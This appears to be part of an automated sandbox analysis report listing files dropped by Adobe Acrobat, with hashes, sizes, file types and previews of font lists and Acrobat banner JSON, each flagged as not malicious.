SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5568

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322707868216697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJM3g98kUwPeUkwRe9:YvXKXrul/5YpW7SGMbLUkee9
MD5:	6147F14F82F54A3CCCD9B24296059883
SHA1:	6ECEEA1B0F2FB5523F3D125BA71162C14A1CE7E5
SHA-256:	8442F2D49F756E9D2115682CEFAAE1E52912D06B162D4B601581E823A2936A71
SHA-512:	6A087289B901B1823D47C5E1866C0504C95672649C737F682188BAB7A9FFCBD228F20C9AFEE142999143ECFD670C6E5DA5A8B3C1882162A28EFB81E437F4B16B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2616570162302985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfBoTfXpnrPeUkwRe9:YvXKXrul/5YpW7SGWTfXcUkee9
MD5:	500C235AAF3EA284BEC43CC13FEAD1A9
SHA1:	2F47A12DC42A53A5EA156018864F914B9EB216E9
SHA-256:	0BBCF68AF64C11B56C9DFBB7565F2A421079E66D7C3643F91A71C64B89106DBB
SHA-512:	83F1926EC97AFB9834F7E9FF23890A66DAB3DD3F1F6CC5FBB3BA805AFAFE61EBC8B26F759A006208B8C3EE96368D878C237844AB94E04371D5EAD1E31E5E513A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.239418086602124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfBD2G6UpnrPeUkwRe9:YvXKXrul/5YpW7SGR22cUkee9
MD5:	A588C4F7CEA483AB5B914E13A93A768A
SHA1:	F5FCAFA781DA8AF49257EFE072A1B3DAFB59824D
SHA-256:	BD7B2BBADC7A5BCF69B6DCC4599D80199B74B6A020502E7563876B2051328DC4
SHA-512:	B8C07B1BF15B3EAB246A372606F2C6ADDF60558735953CF3C9248BF447E621F050D2D605E4BC5FE7CF6D1EFA37D875F91FFA71F2BDF49124E340A82C5A3E90DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.300174236463599
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfPmwrPeUkwRe9:YvXKXrul/5YpW7SGH56Ukee9
MD5:	A413A5428551A4DDAD986497F6C112D0
SHA1:	7AEC3F6351CE41103306027AFE3A96BC269264CA
SHA-256:	0373A053278349FC434641121344B196FAE2CE8620D6382ECD84D3D39DC4E8CB
SHA-512:	13CE728024519F06A1A56BB76EA772B5C3F66D42390D1A79B19FB5B6BCFFB46026A33BCD1B645B70677C1E98032F714961BD743C473D0F0BA2903E493BBE4A6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68363180032986
Encrypted:	false
SSDEEP:	24:Yv6XOyivpLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:YvB9vhgy6SAFv5Ah8cv/a
MD5:	EA00BD2D09418F5586A2E122A7A36981
SHA1:	4617F4193695757E7CD516F9CF94DDCD0B42E228
SHA-256:	D7D8E0B94251D939CF8EAA7A623515C56AAF8B1A8B5AF3221875375132EAFC75
SHA-512:	72A23A7947890D9D0B1C825873120B44871EF328BDA0ABA082E3B0E345A831673FE899F1D49C9A2F007DD27C3A546113480CEBD5DDDC5F9E01992098F1A7DE19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24513406121318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJf8dPeUkwRe9:YvXKXrul/5YpW7SGU8Ukee9
MD5:	D0154F10B128716ECE9C16EC73ADF728
SHA1:	61FB53DE98FD68E1534643CB69F3D7C264EF8089
SHA-256:	FF7EDD5C570CFFC50AFAB8C74DBDD4C98B292099E29E6BFE21BB21D24B6992C0
SHA-512:	D6104454BBE97F54AC337BD6883A0C7BFF3543122F1E32E9F5E8D3DC918E7DF15489E317D61AAF265E521FF4E2CC9383256C4DF0CEB15505B7171DCF014A65F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.246671151783019
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfQ1rPeUkwRe9:YvXKXrul/5YpW7SGY16Ukee9
MD5:	04B1AAB2461ECC3F551652D68D398230
SHA1:	88331446855CFF3EC2E9C7553FA94DEC5F1C5F45
SHA-256:	B4E8824901AACB2C7C7B81340860051A7BAD5015626C23BF7D4093539BD0B5A2
SHA-512:	2BA4FE1AEB89B3CA89F30AC83F5D10B68FD6B9191B9996A00B9155DB47C037A01D432CA94ED3D78105BB4D8D205F80C62E30DEB1DC0AD665CA802BD95A6B51C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267527222568861
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfFldPeUkwRe9:YvXKXrul/5YpW7SGz8Ukee9
MD5:	B40A7E5E4C6EDAD67C97B7A5DE645356
SHA1:	C85F7CF093D9BCB055E189D6F9A201B911BF57CB
SHA-256:	CA655E01C87E572E0BFEA10B546A1E583121F884F7038C96163A7787BD8BDB2E
SHA-512:	EFDA1C13348C7229440214AF70E9FF1545A0BD897F1753B49385C8FE047424BC95A399C5361FFC2181815A078773800AC802B51E16DD70C5397BDB40AAA1DFC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.274269631554769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfzdPeUkwRe9:YvXKXrul/5YpW7SGb8Ukee9
MD5:	A01C742416E6250F97FA1FAA9262A838
SHA1:	A9AC9F26AA191778C91023DBD4CDB733572F234C
SHA-256:	2547D6550EAB00F3F4689CEA901189E3A381D829183B6F07A28671C679727271
SHA-512:	5F4F5D71C18BE9E693393855169C29E8778BD739B8FC379FE2406414E544C052174521637210E8C7D2D681883CF92D50253B45706D9B431C05252B5EBDE234F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25397716693682
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfYdPeUkwRe9:YvXKXrul/5YpW7SGg8Ukee9
MD5:	A61598701FFC97A81B9D1EBA83770364
SHA1:	CD384AFCC2328AD8BA32D8851CE20FBCD6B41FC9
SHA-256:	2C6E10219A413A8B765738FB9151B72861CBD8D3D4DA2769F38FED0E2EEDF4F8
SHA-512:	F1FF7352D50941F0DE826EA75CA84CF1091DF594BF631F81DBCBB19D02A5FE4975946B852A5AC116ED666DD07DBE98FDEEDC7B664AA3CEDF2D6AE40D22E0C70E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2395162695418565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJf+dPeUkwRe9:YvXKXrul/5YpW7SG28Ukee9
MD5:	E7F9E36AE9437E5C0329B7446FE3D08D
SHA1:	3265E87EB2B17C2A564C482110F4D78A19E1A401
SHA-256:	0EF6D93B4197EC74600F7ABE4E9C2CDB903E29A367693D9409DCB15CF726365E
SHA-512:	1F7F10A314EBD96772A46B9D18AFDD108279C0FD8E1B17A3CE3D6976FB3C589DFC657832D47C0CDF0B7A15D4B1135509A5E95AF2470B0BF83FAED8664C02A998
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2378405727417015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfbPtdPeUkwRe9:YvXKXrul/5YpW7SGDV8Ukee9
MD5:	58D241227808F290CA25D78EE917334E
SHA1:	BEB3034598C7D897718ACBA2CEABFCCCDDEF3293
SHA-256:	38C3EDBEB242B9D7F389666BB8AFCD2A02F0C9F85A619F5B84B46D82959F5429
SHA-512:	222970FAB725EA037DD95DCC82AD1E227190DFBC28F695EBF6B8A62934E338F254BF11CEFD76E54D84CA36B320BCE128AD10C74FF08FFE12E215896736894727
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.238876767287328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJf21rPeUkwRe9:YvXKXrul/5YpW7SG+16Ukee9
MD5:	07A7E786BA7B4B38A917B9AC27A790E7
SHA1:	8303E85E5E62B5B585558900BC6245C02E054171
SHA-256:	D53C0A2C13DC38CB7B6F3D6D66B146E1374B932CE4C1B10FDE732FE7D79CA7B9
SHA-512:	E74C70481C4525927477BCC15F7CC4ADE2A66022F1A15FD169286C1AE31472F1BE3C9E96B1944D70F58E46F076D82C0BB39F0D5BE29C0C27744DBD671003561B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.653591527019339
Encrypted:	false
SSDEEP:	24:Yv6XOyi3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvB9PBgkDMUJUAh8cvMa
MD5:	661828F5AF6E06BAC0541855C05C51F9
SHA1:	6BA72F526A2E333316E784469D13CC6E72C4C505
SHA-256:	8784D5B75AD566C94BFE36299AEA9B015728D711F4307DC4EF329089344C268F
SHA-512:	FB3852F22DC0E7880B8D2C0920254B9CEF2044A25A0E889652C8ED5A28F72ABD024D18C11D8216817EADA04577D63D4E4826573674B7AB3CE4D2016736BA0F63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.21434565948106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJfshHHrPeUkwRe9:YvXKXrul/5YpW7SGUUUkee9
MD5:	442BC5EE44EC81E927CE121AFA8D379E
SHA1:	2359E285466074498C7AE411BAAEEE1169F86E2D
SHA-256:	6E0419B6E4F13963E1234F17F82816AF22940D612AB0A8FF88C3667A7C20FC01
SHA-512:	3E5B9B111014AE5B10FCC21B9C59699750439C19BB40A45CA0BE0F71BBB07E09677AD58AA470B66691E518EF26ABE85A4738547E3CA11B10BB6D5C2A4AF35A36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.224523144448641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFNu5fic8b+FIbRI6XVW7+0YkoAvJTqgFCrPeUkwRe9:YvXKXrul/5YpW7SGTq16Ukee9
MD5:	CEA0E1B44687AEE9E560E9803ABD2110
SHA1:	AC4B4F3ABA4D53DD61B6ECEBD1460DEAB8A7460F
SHA-256:	93FB42C58CDB46A4E8F78832C00E30A9A0074DD97872C6584C438EF00ED9D708
SHA-512:	99469DF663DEA758EBF8E023F546FF9798D49737235394BC5E6E71287AF70FEB7FF74D0CB562E590E500C8E67EFA0107A83CA8A11F39E242910D25AB538C2EA8
Malicious:	false
